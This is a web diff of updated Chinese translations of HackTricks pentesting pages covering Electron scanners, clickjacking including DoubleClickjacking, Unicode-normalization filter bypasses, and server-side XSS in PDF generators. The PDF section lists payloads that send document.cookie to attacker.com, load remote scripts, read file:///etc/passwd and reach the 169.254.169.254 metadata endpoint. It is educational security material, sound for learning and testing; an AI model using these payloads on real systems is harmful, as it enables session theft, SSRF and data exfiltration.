- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个识别 Electron 应用程序中的配置错误和安全反模式的工具。
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
|
||||||
- [**Electro.ng**](https://electro.ng/): 您需要购买它
|
- [**Electro.ng**](https://electro.ng/): 您需要购买它
|
||||||
|
|||||||
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
### 预填充表单技巧
|
### 预填充表单技巧
|
||||||
|
|
||||||
有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
|
有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
|
||||||
|
|
||||||
### 使用拖放填充表单
|
### 使用拖放填充表单
|
||||||
|
|
||||||
@ -92,16 +92,18 @@ background: #F00;
|
|||||||
如果您已识别出一个**需要用户点击**某个元素以**触发**XSS的**XSS攻击**,并且该页面**易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
|
如果您已识别出一个**需要用户点击**某个元素以**触发**XSS的**XSS攻击**,并且该页面**易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
|
||||||
示例:\
|
示例:\
|
||||||
您在账户的某些私人细节中发现了一个**自我XSS**(只有您可以设置和读取的细节)。包含设置这些细节的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。\
|
您在账户的某些私人细节中发现了一个**自我XSS**(只有您可以设置和读取的细节)。包含设置这些细节的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。\
|
||||||
攻击者可以准备一个**点击劫持**攻击,将该页面的**表单****预填充**为**XSS有效载荷**,并**欺骗**用户**提交**表单。因此,**当表单被提交**且值被修改时,**用户将执行XSS**。
|
攻击者可以准备一个**点击劫持**攻击,通过**预填充**该页面的**表单**与**XSS有效载荷**,并**欺骗**用户**提交**表单。因此,**当表单被提交**且值被修改时,**用户将执行XSS**。
|
||||||
|
|
||||||
### DoubleClickjacking
|
### DoubleClickjacking
|
||||||
|
|
||||||
首先在[这篇文章中解释](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html),该技术会要求受害者在特定位置的自定义页面上双击一个按钮,并利用鼠标按下和点击事件之间的时间差,在双击期间加载受害者页面,以便**受害者实际上点击了受害者页面中的合法按钮**。
|
首先在[这篇文章](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)中解释,这种技术会要求受害者在特定位置的自定义页面上的一个按钮上双击,并利用mousedown和onclick事件之间的时间差在双击期间加载受害者页面,以便**受害者实际上点击了受害者页面中的一个合法按钮**。
|
||||||
|
|
||||||
一个示例可以在这个视频中看到:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
一个示例可以在这个视频中看到:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||||
|
|
||||||
|
代码示例可以在[这个页面](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)中找到。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 该技术允许欺骗用户在受害者页面的一个地方点击,绕过所有针对点击劫持的保护。因此,攻击者需要找到**只需一次点击即可完成的敏感操作,例如接受权限的OAuth提示**。
|
> 这种技术允许欺骗用户在受害者页面的一个地方点击,绕过所有针对点击劫持的保护。因此,攻击者需要找到**只需一次点击即可完成的敏感操作,例如接受权限的OAuth提示**。
|
||||||
|
|
||||||
## Strategies to Mitigate Clickjacking
|
## Strategies to Mitigate Clickjacking
|
||||||
|
|
||||||
@ -117,14 +119,14 @@ background: #F00;
|
|||||||
然而,这些框架破坏脚本可能会被规避:
|
然而,这些框架破坏脚本可能会被规避:
|
||||||
|
|
||||||
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。
|
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。
|
||||||
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`allow-forms`或`allow-scripts`值而不带`allow-top-navigation`的`sandbox`属性来中和框架破坏脚本。这会阻止iframe验证它是否是顶层窗口,例如,
|
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`sandbox`属性为`allow-forms`或`allow-scripts`值而不包含`allow-top-navigation`来中和框架破坏脚本。这防止了iframe验证它是否是顶层窗口,例如,
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
id="victim_website"
|
id="victim_website"
|
||||||
src="https://victim-website.com"
|
src="https://victim-website.com"
|
||||||
sandbox="allow-forms allow-scripts"></iframe>
|
sandbox="allow-forms allow-scripts"></iframe>
|
||||||
```
|
```
|
||||||
`allow-forms` 和 `allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
`allow-forms` 和 `allow-scripts` 值在禁用顶级导航的同时启用 iframe 内的操作。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
||||||
|
|
||||||
### 服务器端防御
|
### 服务器端防御
|
||||||
|
|
||||||
@ -139,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
|||||||
|
|
||||||
#### 内容安全策略 (CSP) frame-ancestors 指令
|
#### 内容安全策略 (CSP) frame-ancestors 指令
|
||||||
|
|
||||||
**CSP 中的 `frame-ancestors` 指令** 是防止 Clickjacking 的建议方法:
|
**CSP 中的 `frame-ancestors` 指令** 是建议的 Clickjacking 保护方法:
|
||||||
|
|
||||||
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`。
|
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`。
|
||||||
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`。
|
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`。
|
||||||
|
|||||||
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**这是一个总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 查看以获取更多详细信息(图像来自那里)。
|
**这是一个总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 查看更多细节(图片来自那里)。
|
||||||
|
|
||||||
## 理解 Unicode 和规范化
|
## 理解 Unicode 和规范化
|
||||||
|
|
||||||
@ -11,21 +11,21 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
|
|||||||
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。
|
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。
|
||||||
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。
|
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。
|
||||||
|
|
||||||
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解,可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
|
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解这些技术,可以在 [Unicode.org](https://unicode.org/) 上探索。
|
||||||
|
|
||||||
### 关于 Unicode 编码的关键点
|
### 关于 Unicode 编码的关键点
|
||||||
|
|
||||||
理解 Unicode 编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点:
|
理解 Unicode 编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点:
|
||||||
|
|
||||||
- **代码点和字符**:在 Unicode 中,每个字符或符号被分配一个称为“代码点”的数值。
|
- **码点和字符**:在 Unicode 中,每个字符或符号被分配一个称为“码点”的数值。
|
||||||
- **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,LATIN-1 字符(在英语国家常见)使用一个字节表示。然而,字符集较大的语言需要更多字节进行表示。
|
- **字节表示**:码点(或字符)在内存中由一个或多个字节表示。例如,LATIN-1 字符(在英语国家常见)使用一个字节表示。然而,字符集较大的语言需要更多字节进行表示。
|
||||||
- **编码**:这个术语指的是字符如何转换为一系列字节。UTF-8 是一种流行的编码标准,其中 ASCII 字符使用一个字节表示,其他字符最多使用四个字节。
|
- **编码**:这个术语指的是字符如何转换为一系列字节。UTF-8 是一种流行的编码标准,其中 ASCII 字符使用一个字节表示,其他字符最多使用四个字节。
|
||||||
- **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
|
- **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
|
||||||
- **UTF 的变体**:除了 UTF-8,还有其他编码标准,如 UTF-16(使用最少 2 个字节,最多 4 个)和 UTF-32(对所有字符使用 4 个字节)。
|
- **UTF 的变体**:除了 UTF-8,还有其他编码标准,如 UTF-16(使用最少 2 个字节,最多 4 个)和 UTF-32(对所有字符使用 4 个字节)。
|
||||||
|
|
||||||
理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。
|
理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。
|
||||||
|
|
||||||
Unicode 如何规范化两个表示相同字符的不同字节的示例:
|
一个如何规范化两个不同字节表示相同字符的 Unicode 示例:
|
||||||
```python
|
```python
|
||||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||||
```
|
```
|
||||||
@ -37,13 +37,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||||||
|
|
||||||
另一个 **例子**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 在 **unicode** 之后是 `Leonishan`。
|
另一个 **例子**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 在 **unicode** 之后是 `Leonishan`。
|
||||||
|
|
||||||
## **易受攻击的示例**
|
## **脆弱示例**
|
||||||
|
|
||||||
### **SQL 注入过滤器绕过**
|
### **SQL 注入过滤器绕过**
|
||||||
|
|
||||||
想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **在创建** 查询之前,它 **使用 Unicode 规范化** 用户的输入。
|
想象一个网页使用字符 `'` 来创建包含用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **创建查询之前**,它 **使用 Unicode 规范化** 用户的输入。
|
||||||
|
|
||||||
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等效于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**:
|
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -79,26 +79,36 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### XSS(跨站脚本攻击)
|
### XSS (跨站脚本攻击)
|
||||||
|
|
||||||
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS:
|
您可以使用以下字符之一来欺骗 webapp 并利用 XSS:
|
||||||
|
|
||||||
 (2).png>)
|
 (2).png>)
|
||||||
|
|
||||||
请注意,例如,第一个提议的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
|
请注意,例如,第一个建议的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
|
||||||
|
|
||||||
 (1) (1).png>)
|
 (1) (1).png>)
|
||||||
|
|
||||||
### 模糊测试正则表达式
|
### 模糊测试正则表达式
|
||||||
|
|
||||||
当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在开放重定向或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。
|
当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在 Open Redirect 或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。
|
||||||
|
|
||||||
工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
|
工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
|
||||||
|
|
||||||
|
## Unicode 溢出
|
||||||
|
|
||||||
|
来自这篇 [博客](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows),字节的最大值为 255,如果服务器存在漏洞,可以制作溢出以生成特定且意外的 ASCII 字符。例如,以下字符将被转换为 `A`:
|
||||||
|
|
||||||
|
- 0x4e41
|
||||||
|
- 0x4f41
|
||||||
|
- 0x5041
|
||||||
|
- 0x5141
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||||
|
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,25 +4,25 @@
|
|||||||
|
|
||||||
## 服务器端 XSS(动态 PDF)
|
## 服务器端 XSS(动态 PDF)
|
||||||
|
|
||||||
如果一个网页使用用户控制的输入创建 PDF,你可以尝试**欺骗创建 PDF 的机器人**来**执行任意 JS 代码**。\
|
如果一个网页使用用户控制的输入创建 PDF,你可以尝试**欺骗创建 PDF 的机器人**使其**执行任意 JS 代码**。\
|
||||||
因此,如果**PDF 创建机器人发现**某种**HTML** **标签**,它将会**解释**这些标签,你可以**利用**这种行为导致**服务器 XSS**。
|
因此,如果**PDF 创建机器人发现**某种**HTML** **标签**,它将会**解释**这些标签,你可以**利用**这种行为导致**服务器 XSS**。
|
||||||
|
|
||||||
请注意,`<script></script>` 标签并不总是有效,因此你需要使用不同的方法来执行 JS(例如,利用`<img`)。\
|
请注意,`<script></script>` 标签并不总是有效,因此你需要使用不同的方法来执行 JS(例如,利用`<img`)。\
|
||||||
另外,请注意,在常规利用中,你将**能够查看/下载创建的 PDF**,因此你将能够看到你**通过 JS 写入的所有内容**(例如使用 `document.write()`)。但是,如果你**无法看到**创建的 PDF,你可能需要**通过向你发起网络请求来提取信息**(盲注)。
|
另外,请注意,在常规利用中,你将**能够查看/下载创建的 PDF**,因此你将能够看到你**通过 JS 写入的所有内容**(例如使用 `document.write()`)。但是,如果你**无法查看**创建的 PDF,你可能需要**通过网络请求提取信息**(盲注)。
|
||||||
|
|
||||||
### 常见 PDF 生成
|
### 常见 PDF 生成
|
||||||
|
|
||||||
- **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用,使其适用于广泛的应用。
|
- **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用,使其适用于广泛的应用。
|
||||||
- **TCPDF** 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其创建复杂文档的多功能性。
|
- **TCPDF** 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其创建复杂文档的多功能性。
|
||||||
- 对于在 Node.js 环境中工作的开发者,**PDFKit** 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档,为网页内容和可打印格式之间提供了桥梁。
|
- 对于在 Node.js 环境中工作的开发者,**PDFKit** 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档,为网页内容和可打印格式之间提供了桥梁。
|
||||||
- Java 开发者可能更喜欢 **iText**,这是一个不仅促进 PDF 创建的库,还支持数字签名和表单填写等高级功能。其全面的功能集使其适合生成安全和互动的文档。
|
- Java 开发者可能更喜欢 **iText**,这是一个不仅促进 PDF 创建,还支持数字签名和表单填写等高级功能的库。其全面的功能集使其适合生成安全和互动的文档。
|
||||||
- **FPDF** 是另一个 PHP 库,以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计,无需复杂的功能。
|
- **FPDF** 是另一个 PHP 库,以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计,无需复杂的功能。
|
||||||
|
|
||||||
## Payloads
|
## Payloads
|
||||||
|
|
||||||
### 发现
|
### 发现
|
||||||
```html
|
```html
|
||||||
<!-- Basic discovery, Write somthing-->
|
<!-- Basic discovery, Write something-->
|
||||||
<img src="x" onerror="document.write('test')" />
|
<img src="x" onerror="document.write('test')" />
|
||||||
<script>document.write(JSON.stringify(window.location))</script>
|
<script>document.write(JSON.stringify(window.location))</script>
|
||||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||||
@ -32,10 +32,26 @@
|
|||||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||||
<link rel=attachment href="http://attacker.com">
|
<link rel=attachment href="http://attacker.com">
|
||||||
|
|
||||||
|
<!-- Using base HTML tag -->
|
||||||
|
<base href="http://attacker.com" />
|
||||||
|
|
||||||
|
<!-- Loading external stylesheet -->
|
||||||
|
<link rel="stylesheet" src="http://attacker.com" />
|
||||||
|
|
||||||
|
<!-- Meta-tag to auto-refresh page -->
|
||||||
|
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||||
|
|
||||||
|
<!-- Loading external components -->
|
||||||
|
<input type="image" src="http://attacker.com" />
|
||||||
|
<video src="http://attacker.com" />
|
||||||
|
<audio src="http://attacker.com" />
|
||||||
|
<audio><source src="http://attacker.com"/></audio>
|
||||||
|
<svg src="http://attacker.com" />
|
||||||
```
|
```
|
||||||
### SVG
|
### SVG
|
||||||
|
|
||||||
任何之前或以下的有效负载都可以在此 SVG 有效负载中使用。一个 iframe 访问 Burpcollab 子域,另一个访问元数据端点作为示例。
|
任何之前或以下的有效负载都可以在此 SVG 有效负载中使用。一个 iframe 访问 Burpcollab 子域,另一个访问元数据端点,作为示例。
|
||||||
```html
|
```html
|
||||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||||
<g>
|
<g>
|
||||||
@ -71,7 +87,7 @@ if not, you will at least have wich path the bot is accessing -->
|
|||||||
```
|
```
|
||||||
### 加载外部脚本
|
### 加载外部脚本
|
||||||
|
|
||||||
利用此漏洞的最佳方式是利用该漏洞使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都加载相同的代码。
|
利用此漏洞的最佳方法是利用该漏洞使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都加载相同的代码。
|
||||||
```html
|
```html
|
||||||
<script src="http://attacker.com/myscripts.js"></script>
|
<script src="http://attacker.com/myscripts.js"></script>
|
||||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||||
@ -81,7 +97,7 @@ if not, you will at least have wich path the bot is accessing -->
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如 **尝试访问外部网页 (SSRF)**。
|
> 将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如 **尝试访问外部网页 (SSRF)**。
|
||||||
>
|
>
|
||||||
> 如果允许 SSRF,但您 **无法访问** 有趣的域或 IP,请 [查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
> 如果允许 SSRF,但您 **无法访问** 有趣的域或 IP,[请查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
x=new XMLHttpRequest;
|
x=new XMLHttpRequest;
|
||||||
@ -163,11 +179,12 @@ description="attachment sample"
|
|||||||
icon="Paperclip" />
|
icon="Paperclip" />
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
## 参考
|
## 参考文献
|
||||||
|
|
||||||
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||||
|
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user